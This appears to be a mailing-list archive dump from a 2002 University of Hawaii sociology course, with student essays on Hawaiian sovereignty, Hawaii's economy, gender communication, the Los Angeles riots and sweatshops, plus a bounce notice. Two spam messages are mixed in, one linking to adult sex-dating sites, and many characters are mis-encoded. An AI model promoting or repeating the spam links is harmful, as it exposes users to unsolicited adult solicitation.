allowed the up rise of supporters for Hawaiian sovereignty, making it very controversial. In addition, since knowledge of the similar situations of Native Alaskans and American Indians is familiar with the people of Hawaii, Relative Deprivation comes into play. This social movement is brought on by the feeling that the land, government, and rights have been taken away from the people indigenous to Hawaii - just as the Native American Indians. Because Hawaiians know this, made more aware of their deprivation, they are more discontented with the current situation of being a part of the Union. Also, since Alaskans too have a special trust with the US and is allowed to somewhat run their own affairs, Hawaiians seek to have the same allowances as they do. Moreover, the internal dynamics of the group (Rational Choice Theory) have also played a key role in the slow growth of the production of this social movement. Many of the native Hawaiians are pro-sovereignty. However, many have different views as to what extent demonstrations can make a true difference or progress in the movement towards independence or nation-within-a-nation. While Billy Pa, surf instructor in Waikiki, wants only ""…Hawaii for Hawaiians,"" Elaine Kaopuiki understands ""…that the big entities, the corporations…should return the lands to the Hawaiian people. And the land in the hands of the state should go back to the people."" Many people have even more differing view on this issue, thus implementing the Rational Choice Theory. This leads to the Collective Action Problem: free riders that support the cause, but do not work toward that cause. This shows that it is another contributor to the slowing down of the growth of the movement. A last theory on social movements is Resource Mobilization. This pertains to this social movement because many resources and opportunities for people to rally for this cause are existent. These four theories are relevant to my thesis because although they do explain the creation of the sovereignty movement in Hawaii well, they do not show the benefits or effects of sovereignty. The Hawaiian people come together (social contagion, relative deprivation) to rally this cause (rational choice, resource mobilization), but do not think about the effects. The thought of just being a sovereign place, where the land and government are restored to its native owners are the only thoughts in the front of activists' minds. Thus my belief that sovereignty in Hawaii is just not feasible; activists need to think of the economical, social and political issues at hand. Hawaiian sovereignty is an issue that is very difficult to decipher and solve. One hundred years in the making, this social movement is still growing and seems to be having a great effect on Hawaii's society. Also, along with Social Contagion, Relative Deprivation, Resource Mobilization and Rational Choice, this social movement is the most controversial thing in the islands next to same-sex marriages. With the idea of who's local and who's not, the issue of residing here in Hawaii is a major problem that comes along with this social movement. Although I believe that no definition should be set in stone, one helpful suggestion as to how the people can decide on who's local or not (to see who gets what rights) is to come to a consensus as to what being local entails. All in all, I believe that Hawaii will never be able to become a sovereign land if thoughts of the roles and impacts on non-Hawaiians are kept at the back burner of the mind. ",0,0 lehua patacchia ,soc100-l@hawaii.edu,"Wed, 11 Dec 2002 17:18:00 -1000",[SOC100-L:509] (no subject),"Lehua Patacchia Sociology 100 December 11, 2002   The Downfall of Hawaii�s EconomyI remember that homecoming day when the Waialua sugar mill was being closed down. That day during school it was what most of my teachers were talking to us about, and asking us how we felt about all that was going on. The huge change in Hawaii�s economy was pretty drastic, and affected so many people of Waialua town.  Many of the grandparents in Waialua�s community, as well as my own, and parents of the children who I went to school with worked there for many years.  Being young I didn�t really understand how difficult this was on many Waialuans, I was just happy that they wouldn�t be burning the sugar cane anymore because all the smoke would smoke the place out along with all the ash that   For the past few decades Hawaii has been struggling though a serious economic challenge due to so much international competition.  Our economy is now solely dependant on tourism since the agricultural aspect has died with the closing of the sugar mills due to free trade globalization.    International labor markets are now making products cheaper than Hawaii can produce them.  Due to better communications as well as crossing of borders, places such as Korea and Indonesia are making American products for much less than we can compete with.  Although this makes it harder for Hawaii to produce goods, we do profit from free trade opportunities and international labor markets.  With these new opportunities Hawaii can buy goods from foreign countries that produce products that are typically Hawaiian.  When you go to the ABC stores in Waikiki everything there from their ukuleles, to Hawaii printed t-shirts they are all made in other countries where the cost is less.  Thinking abou   Tourism is a very wishy washy industry, and when its your main source of economic balance it can flourish greatly for a while, though major incidents can affect its growth and income.    Hurricane Iniki hitting Kauai head on a few years ago made it an unattractive place to visit for tourists, though the movie making industry picked up on it quickly and used it to create Jurassic Park.  The movie then advertised the islands and helped boost the tourism industry a bit for the islands.  Incidents like these hurt and help at the same time.  Though there are some that just hurt.   The attack on America on September 11, 2001 was a major downfall for everyone.  It was a sad time for all which didn�t really help everyone�s attitudes about taking vacations.  Also it made planes seem unsafe for passengers which doesn�t help Hawaii at all since we�re right in the middle of the ocean and plane is basically the only means of getting over here.  For thirteen years my parents ran their own surf shop in Haleiwa town, and my sister, brother, and I were always much apart of the running of it. We had to work in it from time to time and help out because it was a family business. There were so many times within those years that my parents were close to shutting it down completely due to lack of business.  As the years passed I saw many stores around me being shut down due to not enough customers and not enough income.  It wasn�t until December 2001 when my parents finally put their store to an end.  The September 11th Attack was a major down shift in business for ever Hopefully with the new advances in technology, and all the Post-Modernization issues coming about as we head toward the future Hawaii will be able to find its balance.  I guess it had to take thirty years, and an attack on our country to wake up Hawaii�s society, and government to actually do something about the economy, and the way it�s structured.  Its about time we got smart and started to use our resources, and not try to build on something which we have to start at ground zero and work up to mastering.    Hawaii�s blindness to what was right in front of us all along reminds me of that new invention for soap bars made by L�Oreal.  They came up with that pouch to put your bar soap in which is made up of a sort of scrubbing, exfoliation material.  This new device prevents the soap bar from slipping out of your hands, a problem which we�ve lived with for so long, yet no one came up with that little idea to create one of these long before while this problem was consistently happening.  Just like Hawaii�s economy, we�ve been living with an obvious problem, though no one actually sat down and looked at the obvious ways of going about things.  Its funny how such a simple thing like a bar of soap relates so much to Hawaii�s entire economy, and      Tired of spam? Get advanced junk mail protection with MSN 8.",1,1 Lynda ,soc100-l@hawaii.edu,"Wed, 11 Dec 2002 17:55:41 -1000",[SOC100-L:511],"Lynda Hoang Sociology 100 December 2002 Gender & Interpersonal Relationships Differences between the characteristics of men and women have existed since the beginning of time. Interpersonal relationships are necessary in virtually all aspects of life; there are the professional, family, and romantic, just to name a few. It is human nature to have relationships with other humans; it fulfills a large range of physical and psychological needs. Aspects that are sometimes seen to dictate interpersonal relationships are physical attractiveness, proximity, familiarity, and similarity. Physical attractiveness is the most apparent factor in determining how much a person is liked, which is funny, because it is also the least justifiable. This strong preference for attractive people deals with the stereotype that what is beautiful is good. Beautiful people are assumed to be more intelligent, interesting, successful, and so on, even if we have never met or talked to this person before. Proximity plays an obvious role in relationships, because a relationship could never happen if people don't have access to one another. Other things that affect relationships include familiarity (experiments have shown that we are more attracted to things we are familiar with) and similarity-which is important in that people with the same interests and views can relate to one another better and feel secure when their views are validated by someone else. But communication is probably the most crucial factor in making or breaking relationships between genders. Men and women have different discourse styles, and this often leads to problems in marriage, the workplace, and just about everything you can think of. Men and women communicate so differently that they are sometimes referred to as coming from different planets (Men are from Mars, women are from Venus). Communication differences are even thought to be the basis of the battle of the sexes. Why does this difference between women and men exist? How did feminine and masculine characteristics ever come about? There are some who don't believe that gender specific characteristics exist at all. However, to the vast majority of people, it is obvious that men and women generally have different characteristics. While this could be attributed to biological differences, cultural differences play a bigger role. I therefore do not think that men or women are confined to any specific role, they have the power of choice, but I do think they are inherently pushed toward one or another from the time of birth by factors like stereotypes and social environment. The biological differences between men and women have from the beginning of time forced different types of social adaptations upon us. This may be one reason why men and women formulated different discourse styles. The explanation of social behavior using evolutionary principles is known as sociobiology. From an evolutionary point of view, passing on as much of their genetic material is the goal of both males and females. In order for men to have access to gain access to the most reproductive material, men needed to be aggressive to compete for women. This is one way of explaining the aggressive nature of men which is prevalent in society today. Women, on the other hand, needed to be more relationship oriented because they had the task of bearing and raising the child, which made it profitable to find a man who would stay with them and help with the tasks. Could this be the reason for women's expertise in rapport talk (talk that sustains relationships) and metamessages indicative of intimacy? One theory of Deborah Tannen's that supports the view that differences in communication between sexes is a result of cultural upbringing is that from childhood, the glue of girls' friendships is talk, while for boys, it is doing activities. Also, men are inherently aggressive, competitive, and their relationships are hierarchical. So when women are put in this situation, they feel they are talked down to, and are insulted. Men are just doing what they normally do with friends, but women tend to define levels of closeness by talking. None of these practices are wrong, they are just different. But when a woman wants to talk to her husband and validate their closeness, and he doesn't respond, it leads to a lot of problems. Aside from having different ways of bonding, men and women also perceive the same messages to have different meanings. According to Deborah Tannen, women are more in tune to ""metamessages,"" the level on which information about relationships is communicated, like closeness, while men are literal. For example, a man fixes himself a snack, and when he is about to eat it, he notices his wife looks hurt. When he asks what's wrong? She complains that he didn't offer her any. Then the man says ""I didn't know you were hungry. Here, have this."" But the woman refuses. The man is confused because he looks at the snack as a matter of food, but the woman is concerned with the metamessage. It's the thought that that counts, and if she were in his place, she would have thought about him when making the snack. Dr. Cynthia Burggraf Torppa also thinks women are in tune to between the lines meanings, but she also goes on to say that women are more sensitive to messages about intimacy and men are more sensitive to meanings about status. Society expects the woman to be the regulator of intimacy, and for this reason, women are more in tune to underlying meanings about intimacy in messages. Society expects men to set a hierarchy and therefore, men are more sensitive to underlying meanings about status. This complements Deborah Tannen's theory that different linguistic habits exist between men and women, much of which can be traced back to childhood, where little girls bond by talking or sharing secrets, and for boys, it is activities and competitiveness. This difference in the meaning of relationships between men and women from the time they were children (or even before that) plays a big role in personality development. Girls and boys definitely grow up in different social environments, and this contributes to what kinds of traits they pick up. For example, there are clear stereotypes to how a girl or boy should dress, act, do, etc. When babies are born, girls are dressed in pink and boys in blue. As toddlers, girls are given dolls to play house, and boys, things like trucks and footballs. This stresses the stereotype that girls are supposed to be homemakers and dedicated to their family and boys should drive a manly car and play rugged sports. Another thing is that girls are taught to express their emotions, while boys are taught to keep them in, and be tough. Common phrases told to boys include ""boys don't cry"" and ""be a man."" Society clearly has view of what is considered to be masculine and feminine, and inherently pushes each sex to be a certain way. These stereotypes often keep women from accomplishment in environments outside of the household. These stereotypes also denounce the capability of women to perform tasks in areas where men dominate, such as in sports, politics and the workplace. There are many women who resent this, and try to better this situation. These women are organized into a group called feminists. But even within feminists, these women have different views of what should be done concerning the situation of women's inequalities. Libertarian feminism is the most conservative type of feminism. They advocate equal opportunity and equal rights for women, and were most active in past decades, when they got several laws passed to help women. They think that gender should disappear, because achievement is more important than ascription. Women who were not satisfied with the views of libertarian feminists organized into liberal feminists. They thought that laws passed to give women equal opportunities weren't doing the job, because many criteria (made by male supreriors) still discriminated against women. Some examples of these are discriminating against women who take time off to have a child and rejecting them on the basis of physical strength, even if it has nothing to do with the job. Therefore, liberals push the idea of equal outcomes. Comparable worth is one thing that came about through the idea of equal outcomes. Comparable worth tries to raise the pay for women who were doing work that required just as much skill as men, but getting paid less. This happened to women who did women's work, like nursing, as well as those who worked in companies alongside men doing similar tasks. Many people argued that comparable worth is unfair to employers. According to ""Comparable Worth in Theory and Practice,"" the financial burden of increasing pay for women will cause layoffs and tax increases. However, the AFL-CIO shows that in states where pay equity was implemented, there were neither layoffs nor tax increases. Also, equal pay increases are usually implemented over two to four years, lessening the financial impact on the employer. Furthermore, continuing to pay women less costs money in terms of food stamps, and other things, because women are unable to support their families on the money they earn. Still, there are women who opposed the liberal feminist view, the radical feminists. They say that the system is inherently patriarchal and cannot be fixed, therefore, women need to separate and establish their own companies. Radical feminists also think that comparable worth and other laws give the impression that women can't make it on their own, and therefore need the government to intervene and increase their pay. However, the article by the AFL-CIO supports the opposite. They show that the education of women has increased greatly (In 1979, about one in five women working full time had a college degree, and in 1998, nearly one in three women did.) but somehow, the closing of the gap in pay has actually slowed despite this increase in education for women. It seems to me that women have been ""making it"" fine, and the ones who aren't ""making it"" are employers. They have failed to produce a fair working environment for their employees. I suppose this is how the theory of modernity fits; everyone is concerned for their own individualistic needs. Employers want to maintain their wealth and power, and women want their share. Neo feminists, the most recent group, have their own set of views. They advocate equality with difference. Their values came from psychology, that shows men and women have different values. Men have a universal ethical code that applies to all situations, while women's values vary from relationship to relationship; they use emotion in making decisions. They are also more caring and group oriented. This tendency to associate different sets of values to each gender is called essentialism. Neo feminists are accused by people like the liberal feminists of selling out and stereotyping. However, neo feminists see feminine ethics as valuable to society. They think that the incorporation of feminine values will contribute to society, and deviate true equality. Neo feminism is the group most inclined to the theory of gender-based communication differences. They also put a positive twist on having differences. In society, there are clearly more women who like pink than men, more women who cry than men, more men who like football more than women, etc. Still, there are some people who don't think that gender stereotypes/and male/female characteristics exist. This article from the psychology help website challenges the stereotype that women are more illogical than men. It gives the example of a man walking through a messy kitchen with things all over the floor and dirty dishes in the sink. He passes right by it and makes a cheese sandwich. His wife notices this, and she thinks, ""Of course he notices the dirty dishes, the overflowing garbage and the misplaced toys! He is just being difficult or he's trying to get back at me in some way by pretending not to notice. It seems I now have a choice either to do the chores myself or to confront him with his lack of sensitivity and caring, also his wrongness."" The man would probably come to the conclusion that his wife is illogical, because all he did was leave to make a snack and when he got back, she was chastising him. However, in this case, the woman has acted most logically; she went through a thought process, feelings and beliefs, while the man didn't notice a thing except his hunger. My opinion is that culture largely influences men and women toward masculine and feminine traits, which includes their extreme difference in discourse styles. Stereotypes do reflect some truth, after all, they are based on the majority. They are just not always true. There are exceptions to everything, like a female being a tomboy, and a male being what is locally known as a ""mahu."" I also don't think that women and men are hopelessly bound to one stereotype or another; they can choose how they want to act or communicate, but these things are usually developed from childhood, so of course as long as society is the way it is, there will be more females who allow themselves to be emotional and chatty and more males who are competitive and aggressive. The reason for this is that although choice for each sex exists, most of the time people can only choose from what they know, and that is what they have been taught by society; if they are raised a certain way, they will choose actions/beliefs among their set of morals and values. As for communication differences, I think that since men and women are raised to be different, they will always exist. But understanding our differences is the first step to working things out. Everyone will never be able to agree on everything, but is that necessarily bad? Even if communication differences, job discrimination, or gender altogether were to disappear, no matter what, people will always be different and furthermore, diversity is beautiful. We should keep an open mind, consider, and incorporate new and different ideas into our life. Bibliography Burggraf Torppa, Cynthia. Gender Issues: ""Communication Differences in Interpersonal Relationships."" The Ohio State University Extension. Online. 14 November 2002. ""Case for Equal Pay, The."" AFL-CIO. Online. < http://www.aflcio.org/home.htm> 8 December 2002. ""Comparable Worth."" Methics Connection. Online. 8 December 2002. ""Comparable Worth in Theory and Practice."" Lexington Institute. Online. http://www.lexingtoninstitute.org/whatworks/whtwrks12.htm 8 December 2002. ""I Want a Cheese Sandwich."" Psychology Help. Online. http://www.psychologyhelp.com/gend132.htm> 10 December 2002. Tannen, Deborah. ""Linguistics: Did you say what I just heard?"" Linguistics 102 Unit Mastery. Honolulu: Professional Image copy shop, Fall 2001. Tannen, Deborah. ""Listening to Men, Then and Now."" The New York Times Magazine May 16, 1999, pp. 36-40.",0,1 miyas yayoi ,soc100-L@hawaii.edu,"Wed, 11 Dec 2002 18:16:06 -1000",[SOC100-L:512] (no subject)," Social movements have been around for as long as there has been unfairness and people with opinions. A social movement is a collective action taken by a group towards a common goal. They may start off small, with little active supporters, but with incentives and progress, the small group is able to turn into a large movement that could affect a large number of individuals. The type of social movement I'm focasing on is the Hawaiian Sovereignty Movement. This movement has sustained itself for a long period of time, slowly gianing support. Today the actions for this movement are stronger and louder. Using sociological theories, I've formed my opinion on the issue. To first understand the Hawaiian's emotions, we must take a look at their past. When Captain Cook came to Hawaii in 1778, the Hawaiians had already been living there with their own racial composition, language, and customs. However, Captain Cooks so called 電iscovery�of the islands caused an increase in the amount of people who wanted to make Hawaii home. It stared off with people such as European and American sailors, businessmen, and missionaries. Not only did Captain Cook bring people, but he also brought over many new diseases which killed many Hawaiians, who痴 immune system was not used to the new diseases. This immigration of people into Hawaii resulted in a decline of the Hawaiians population by about 90%. As time progressed the Hawaiians were forced to keep up with the rapidly changing economy and culture. Then in 1893, a group of businessmen, backed by three companies of US Marines, forced Queen Lili置okalani from her throne. Thus the lands that had been under the rule of Queen Lili置okalani were taken, ending Hawaii痴 independence. This angered the Hawaiians, but because of their few numbers and limited knowledge, they did nothing. In 1959, the Hawaiians were given the option of wither becoming a state of staying a territory of the United States. Did the Hawaiians have a say in this vote? I am not sure, however, Hawaii was voted to become a state. Many argue the past events have put Hawaiians in a position that they were never really able to move from. Many people claim that because of Hawaiian 痴 unfair past, some sort of compensation is and has been long overdue. Hawaiians have had, ever since Cook had come in 1778, a rough time. Naturally, many Hawaiians have expressed their anger and frustration subtly till now. Recently there has been a drastic increase in the efforts put into the Hawaiian Sovereignty Movement. In Hawaii today 40% of Hawaii痴 homeless are native Hawaiians. 展e pay one-fifth into the treasury. Yet we are the most landless of the people living in Hawaii�ll we池e asking for is our land and self-determination,� argues Mahealani Kamau置. This statement does seem just, because the Hawaiians land was taken in 1893. Along with the restoration of the lands of Hawaii back to the Hawaiians, some are also calling for the restoration of the government run by only Hawaiians. Many native Hawaiians feel that their needs are not being met by the current political and economic system. More recently than in the past, the frustrations of the native Hawaiians are being heard. Either the support for this movement has grown or the activists are becoming bolder. Sign wavers, pamphlets, numerous web-pages, and many other indications prove that the Hawaiians want to be heard now. Yet why now and not then? is the question on many sociologists minds. Social contagion, resource mobilization, rational choice, and relative deprivation are some theories that try to explain this question. In my opinion all of the theories make contribute to the rise in support over the years. In my earlier essay I claimed that social contagion was the theory most responsible for this movement. I still believe that the support of this movement could have risen, because of people imitating others on the basis of blood; however, I have come to put I do not think that that is the main reason why this movement has grown. I believe that this movement has many free riders, who do not contribute anything to this movement except for numbers. Relative deprivation, on the other hand, makes a little more sense. The relative deprivation theory states that people compare themselves to those around them. This is a natural instinct of humans and in Hawaii there is a large amount of rich people and there is a large amount of poor people, including Hawaiians. Collective action is a way to achieve this. Hawaiians make up one-fifth of Hawaii痴 population, but they also make up the majority of the unskilled and homeless. Resource mobilization also plays a role in this movement, because with today 痴 technology it is easier to spread the issue and call for support. Therefore it is much easier than before for people to hear about this issue. Morally, the Hawaiians should have their land back and their form of government back because it was taken from them. They contribute greatly to the poor, uneducated, and homeless as a result of the settlement of foreigners in Hawaii. This issue can easily be manipulated into a political or economical opportunity, which many who support this movement will grasp onto. For instance, almost all the books, films, and public events concerning the sovereignty issue have been highly biased in favor of the native Hawaiians, argues Kenneth Conklin. Before this topic was introduced in class, I could say that I was for Sovereignty because it only seemed right and just. I had learned their history and felt for them. However, when I learned more of the issue and didn稚 base my judgment on feelings, I changed my mind. Media has been useful for the fight for sovereignty. 展e can稚 turn back the hands of time,�argues Billy Pa. I agree with him. When the Hawaiian monarchy was overthrown and the Hawaiian痴 land taken, that was wrong. However, with the way that the government is run, it would be impossible to restore all the land to the Hawaiian people. The restoration of land in the most extreme case, argues that only Hawaiians and people considered 斗ocal�from a certain period will be allowed to live in Hawaii. Even if they end up not fighting to this extreme, giving land back means taking land from people who have worked hard to obtain it. Why haven稚 people spoken up against it? Well this is probably due to the fact that Hawaii is a small island, where everyone knows you through somebody else. Few are willing to take a stand against this movement because many of their friends are for it, or they do not want to create enemies. On an island where one enemy makes everyone your enemy, it is only natural for there to be less against it. No body wants to stir up passions; Kenneth Conklin put it best, 典he culture in the islands has a long habit of going along to get along, not confronting anyone, not making trouble.� I知 not trying to take sides, and if I was a native Hawaiian I might feel differently. Hawaiians do deserve compensation, but what they are asking for will cause Hawaii and all the other ethnicities living here a huge deal of trouble, that may hurt the Hawaiians in some way too. The Hawaiians have been put into a hole that they have not been able to get out of. The past has shown that they have not been able to keep up with the drastic social, economic, and political changes. Yet I feel that Hawaiians do have certain liberties that non-Hawaiians do not. For instance Kamehameha Schools is a school that only people with Hawaiian blood can attend. There is also OHA. I believe that the support of this movement will continue to rise because of the progress that the activists have been able to achieve. The growth of supporters over the years and the coverage that this issue has been able to reach strengthens the hope for this movement. The fact that the beneficiaries of this movement are based on blood means that as long as the movement is going well there will be supporters, including free riders. If the activists and supporters for this movement obtain their goal, non-Hawaiians will definitely be affected by it in a negative way. I also believe that so will the Hawaiians because since the statistics show that Hawaiians make up a large portion of the uneducated and poor, I am worried about how the government will get by. This is a serious issue, because if the movement goes through, it will give a precedent for future movements made by indigenous peoples. _________________________________________________________________ 会員登録は無料 充実した出品アイテムなら MSN オークション http://auction.msn.co.jp/ ",0,1 nick regas ,soc100-L@hawaii.edu,"Wed, 11 Dec 2002 20:24:41 -1000",[SOC100-L:514] sorry,"sorry, i sent this earlier but it came back. here it is again. This is an automatically generated Delivery Status Notification. Delivery to the following recipients failed. ������ soc-100L@hawaii.edu Reporting-MTA: dns;hotmail.com Received-From-MTA: dns;mail.hotmail.com Arrival-Date: Wed, 11 Dec 2002 16:20:45 -0800 Final-Recipient: rfc822;soc-100L@hawaii.edu Action: failed Status: 5.1.1 Diagnostic-Code: smtp;550 5.1.1 unknown or illegal alias: soc-100L@hawaii.edu From�:� ""nick regas"" � To�:� soc-100L@hawaii.edu � Date�:� Wed, 11 Dec 2002 14:20:45 -1000 � Nick Regas Soc 100 12-11-02 The Sociology Used in Defining the Problems and Outcomes Within the 1992 Los Angeles Riots There have been many different types of riots that have ensued during the history of not only the United States, but the world.� Many riots have caused many things such as war.� For instance, many of the great historical riots such as the Boston Tea Party, The Boston Massacre, and what ended up being the French Revolution.� More recently there have been two separate riots in the county of Los Angeles, the riots in Watts that happened in the 1960�s, and the riots in South Central Los Angeles which happened in 1992.� Yet the Los Angeles riot was different from the rest.� There were many demographical problems that caused this out roar of pain and frustration from the multicultural, and multi- ethnic community of South Central Los Angeles in from the late 1980�s and the early 1990�s.� Those problems ended in being what is called as the worst riots of the 20th Century.� The problems of the riots are still being discussed today by many sociologists, mainly in the areas of race and ethnicity, and social movements and collective action. As a background to the Los Angeles riots here are the sequence of events, given by the media, as to how the riots ensued: �On April 29th, 1992, the city of Los Angeles - a city in which tensions and anger had been growing for a long time, but toward what no one quite knew -- heard a jury of six men and six women deliver not guilty verdicts for the Los Angeles Police Department officers accused of beating Rodney King. And the city found that this was the crescendo, the climax, and Los Angeles exploded with riot, arson and looting, accompanied by more than 50 deaths and the injuries of more than 2,000. The final costs of the physical devastation and the emotional residue cannot be totaled, but the morale and the social fiber of Los Angeles had been forever altered.�� Also, from a field reporter form the station KTLA that was live during the riots said,� �I kept remembering the stories we did in Watts after the 1965 riots. I vividly recall the twisted, shattered buildings that had burned to the ground. One by one, clean up crews had come in, leveled the structures, hauled away the debris, leaving nothing but vacant, weed-filled lots. Those lots had remained vacant for years after the tragedy of Watts, a wounded community with no places of business, just block after block of vacant lots. It was so sad, I felt so sad. Here, tonight, each one of these fires was burning up, not only the buildings, but the jobs and futures of so many people who live in the community. Now, there would be no jobs, no places to buy anything, no hope, no future. All because of these fires of April, 1992.� Now many people think that the riots were all because of the anger of the black community of South Central over the outrageous ruling in the Rodney King trial.� However, through many of the articles written the Rodney King verdict was merely the straw that broke the camels back for the violence that came after. The other aspects that caused the riot were the many other social, economic, cultural, and demographic factors. Riots, as described in sociology, are one of the many types of Social Movements and Collective Action that we have discussed in lecture.� Collective Action is defined from the lecture as being any kind of joint effort put forth by any group of individuals.� This was definitely the case of the Los Angeles riots because all of the rioters were different types of people, yet all came together.� Along with begin a collective action by a group of people, this was also a Social Movement.� Social movements are sustained social movements such as the civil rights movements, or the hawaiian sovereignty movements which was learned through the lecture of social movements.��� The riots are different from those however.� The riots are not sustained over long periods of time.� The time span was shorter, mainly a few days before it all stopped.� The Hawaiian Sovereignty, for example has been going on for a long time now.� In Collective Action there are a few ways that are used to define the different types of groups that arise in situations.� Two of those terms are a crowd, and a mob.� Both of these terms are used freely in normal society but have a little bit of a different definition in a sociological stand point.�� A crowd, for instance, is only a group that does not have a common goal.�� A mob, on the other hand, is a group that is engaging in violence that does not have a common goal.�� The term that would best describe the people who participated in the Los Angeles Riots in 1992 would be a mob.�� Everyone that was out on the streets was running a muck.�� Burning buildings, shooting at police and firefighters, stealing form stores, and beating random people on the streets.� Most of the people were only out in the streets looking after themselves and stealing things from the stores that would only benefit them.� However, some of the mob did work together.� There were some people who came to South Central that would pile into a van, go into a store and steal items that would be beneficial to not only themselves but to the community. One main type of social action that was talked about in most of the books, and articles was Collective Behavior.� Collective Behavior involves large numbers of people engaging in non routine activities that violate social expectations.� This is the most common description of the Los Angeles Riots, or any riot for that matter.�� The main reason is that the group of people that are engaging in the activities are doing something that is not of the norm.� These are actions that is not normative behavior.� This is the most common term used because it is what the media has placed the ideas into the mass public that this is what is not to be done, this is not the �The Emergent Norm Perspective�. The Emergent Norm Perspective is that view that the media puts into the mass public, the �right way to act�.� The actions that were taking by the police that brutally beat Rodney King, were not right.� Also, the actions that the people of the city of South Central Los Angeles were not right.� These ideas are perceived by many and one article states �Collective action theorists emphasize the real grievances, rational choices, and organization underlying social movements and revolutions, which they distinguish from sudden, short-lived outbreaks of unconventional behavior, such as fads, crazes, and hysterias.�� This is a good definition to part of the riots.� However, not all is covered within this quote.� The background of what went on in the city which caused the people to revolt.� The oppression and socioeconomic problems that occurred, and unfortunately still occur, without any regard from city or government officials. The other main sociological aspect was the race and ethnicity which was a cause� for concern of� the causes of the� riots.�� The race and ethnicity of the population of South Central was predominately seen throughout the entire course of events during the riots and was a major factor that sociologists looked to as to why these events happened.� There is an abundance of races that live together in Los Angeles.� In South Central there are many different races, the most common are Koreans, African Americans and Mexican Americans.� These are the three most prodminant races that were involved in the LA� riots.� The Koreans were precieved as the sterotypical store owners.� The African Americans and the Mexican Americans were the ones causes most of the havok in the streets, or so the media portrayed.� In lecture we learned that in Modernization Theory it states that the racial� prejduices that are very preeminent in todays society will go away as the country, and the people, become more modernized.� In the 1990�s many people thought that the country was becoming very modernized, globally and emoncomically.� From these stand points no racial problems should have occured.� Yet, it seems that when the country is becoming more modern in theory, that it is not moving as far forward as the people think.� The problems that occured from the Rodeny King beatings were all out of hatred toward Mr. King because he was a black man.� Some force might have been nessacacry becasue he was in persuit by the police because he broke the law.� However, that much beating was wrong.� From this case, and other that have happened recently,� racial prejuidices, and the multitude of problems from that occur from that, have seemed to have gotten worse. Another sociological problem that helped cause the riots was the class and stratofication of the community.� An large percentage of the people that make up the community of South Central Los Angeles are in the lower class.� This area of Los Angeles, has a very high crime rate and is impvoerish.� From what we learned in lecture people that are at the bottom of the social pyramid have a hard time getting out.� Also, that there are many tensions on the lower class that is placed upon them byt the government.� These are all factors that helped in the people deciding to riot against their neighbors, rather than sit back and watch all of their rights and civil liberties go down the drain. In conclusion, the 1992 Los Angeles riots were a problem that everyone had to deal with.� This is a problem that seems will continue for a long time, unlike� the Modernization Theory implied.� Sociology is an easy way to help define the problem of how this might happen again. _________________________________________________________________ Help STOP SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail",0,1 Clark,0H6Z00G8OJZUFF@mail.hawaii.edu,,Hello Subscriber,"Salutations Both men and women need it. http://www.hookersnow.com/?blah=91846 Live out your adult personals fantasy where you can view millions of erotic personals for sex dating. http://www.breakingbass.com/livedating1 Regards Devin Peters Please Remove Me http://www.ibuiltanaltarfor.com/z3c/ ",1,1 """Fray G. Trusted"" ",Bait <0H6Z00A4MTTL62@mail.hawaii.edu>,"Wed, 11 Dec 2002 19:12:44 -0400",Software,"Why pay big bucks? Create your OWN website now! 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And if God forbid you think differently or you see the positive side of the issue, you are rudely stared at, mocked behind your back, not to mention that you will be labeled a heartless person that agrees with the suppression of less fortunate countries. According to Webster�s Dictionary, the meaning of sweatshop is, �A shop where employees work long hours at low wages under poor working conditions�. In this essay we shall use this term to mean American owned factory located in third world countries. The conditions, wages, and working conditions are not necessarily poor nor abusive. When I started research on this topic, I realized that everywhere you turn you find negative media advertising. Even if the topic you search was clearly �Pros of Sweatshops�, you find three links that are in fact pros followed by 1,163 links about all the horrors and terrors that sweatshops are. Seems rather biased to me. All of America sees all the negatives on the news. Harvard students are screaming about the injustices. But I don�t see trendy American women complaining when they can buy that cute blouse for eight dollars. When I started reading about modernity and the theories related to it, my reaction was �no no no we can�t have this� I went as far as to believe to go backward into traditional society then to go forward into modernity. But alas it is not possible, and the more we studied modernity, the less horrible it seemed. Then when the sweatshop issues came up, I felt completely torn. While I disagree with the modernity theory, I realized that some sort of compromise must be reached not only between the global economies of the world but also within my own beliefs. Firstly, the people that work at sweatshops are not being kept there against their will. It�s not as if they were shanghaied and are being held at gun-point at these factories. That would require a lot more workers now wouldn�t it? These people, if they were not working in a factory, would be working in fields, perhaps harder labor and poorer wages. Sweatshops actually improve working conditions in third-world countries. For example, women were working in fields in Malaysia could get up to $180 a month, however if they went to work for Motorola, they could get up to $300 a month. In addition, the women started to view themselves in a different light. They decided that they wanted to get an education and go into business. They had the opportunity to escape their traditional society, which is patriarchal and ascriptive. Next, if you think about the rules of economics, if there is a problem with the economy, and it is affecting profits, then businesses will automatically correct themselves. If these factories were really bad for the country�s economy, then proper steps would be taken by the citizens, lawmakers and business men to fix it, or to make the factories more efficient. Also, Americans think or perceive sweatshops as �bad� because they are comparing third world countries conditions to conditions in America, which is a first world country. I think it is rather arrogant that Americans have this belief that every other country in the world wants to be exactly like the United States. In fact, most countries are just fine and dandy following their own culture, and keeping their own cultural traditions. It is not the place of the people of America to correct the laws of other countries. If foreign third world countries find that their laws leave something to be desired, then they themselves will correct them as part of the transition from traditional to a modern society. Next, a lot of people who are against sweatshops complain about how big business or corporate America abuse people in the factories. But even if these abuses are going on, the only reason it becomes possible is because of a lack of laws in that particular country. This also means that if there is abuse going on in American owned factories abroad, the very same abuses are going on in the rest of the country. The laws are inefficient and, as I said before, it is not America�s place to correct these laws, and when that particular country is ready, they will restructure the laws and fix what is wrong. These factories give families, in poor countries, income. This is very helpful because too many third world countries� or the primary sectors of economy have very large families. Especially since the average wage of these countries is so poor that most people can�t afford proper medical attention or receive education on how to care for themselves. So many of these American companies are doing a favor for the people of this country. They also improve the standard of living. There�s one case in China where the people, all rice farmers, were starving because the cost of rice was very low. Then came Company A and set up shop. Workers signed a contract, meaning that they agreed to all the existing conditions, and then they got to work. Company B came along because they saw how well Company A was doing, they needed to compete with Company A so obviously the conditions, or the pay, or the working hours had to be a lot better to lure the workers or attract the workers to come and work for them instead of working for Company A. In addition, the people who stayed in the fields also did better, since so many left to work in the factories, the price of rice went up, which meant that the standard of living for the rice farmers also improved. This proves that some factories have improved, and will most likely continue to do so, the living conditions and lifestyles because of the presence of the so-called horrible sweatshops (http://www.mcspotlight.org/cgi-bin/zv/debate/campaign/messages/479.html). Sweatshops have actually improved the standard of living of American citizens... sort of? Because people in third world traditional societies are doing all the �dirty work�. American people who rarely have to stoop down to perform the intensive type of work that the people of third world countries have to do in order to gain enough wages to survive in their harsh world. It goes along with the globalization theory that says that each country should produce what they are best at. For example, you 